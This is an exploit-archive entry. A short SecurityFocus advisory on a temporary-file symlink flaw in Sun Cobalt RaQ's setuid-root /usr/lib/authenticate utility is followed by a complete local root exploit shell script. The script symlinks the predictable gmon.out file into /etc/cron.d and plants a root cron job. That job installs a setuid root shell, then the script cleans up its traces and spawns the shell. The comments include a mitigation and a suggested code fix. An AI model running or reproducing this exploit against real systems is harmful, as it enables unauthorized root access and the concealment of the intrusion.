Sun Cobalt RaQ 4.0 - Predictable Temporary Filename Symbolic Link Attack

source: https://www.securityfocus.com/bid/5529/info

A vulnerability has been reported in Cobalt RaQ that may allow attackers to obtain elevated privileges. The vulnerability exists in the /usr/lib/authenticate utility which is used by Apache for authentication purposes. Reportedly, the utility creates temporary files with predictable names with world-writeable permissions. This vulnerability is further exacerbated by the fact that /usr/lib/authenticate is a setuid root binary.


#!/bin/sh
#
# Cobalt Linux 6.0 Local Root Exploit
#
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
#
# Problem Source Code:
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
#
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson <[email protected]>
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness

echo "RaQFuCK.sh by core"

target="/usr/lib/authenticate"
tempdir="/tmp"

if [ -u /.sushi ] ; then
    exec /.sushi
fi

printf "Checking for $target..."
if [ -f "$target" ] ; then
    echo "done."
else
    echo "NO!"
    exit 1
fi

printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
    echo "done."
else
    echo "NO! Hrm... does this admin have a clue???"
    exit 1
fi

if [ ! -d "$tempdir/core" ]; then
    printf "Creating $tempdir/core..."
    if ! mkdir "$tempdir/core" 2>/dev/null ; then
	echo "FAILED!" ; exit 1
    fi
    echo "done."
fi

printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Changing umask..."
if ! umask 000 ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0);
    setgid(0);
    execve("/bin/sh",argv,envp);
    return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
    echo "FAILED!" ; exit 1
fi
echo "done."

printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
    echo "SYMLINK ATTACK FAILED!" && exit 1
else
    echo "done."
fi

printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own";
fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
    sleep 1 ; printf "."
done
echo "done."

cd /

printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
    echo "FAILED??? Fuck it!"
else
    echo "done."
fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
    echo "Exec Failed!!! BUMMER!" ; exit 1
fi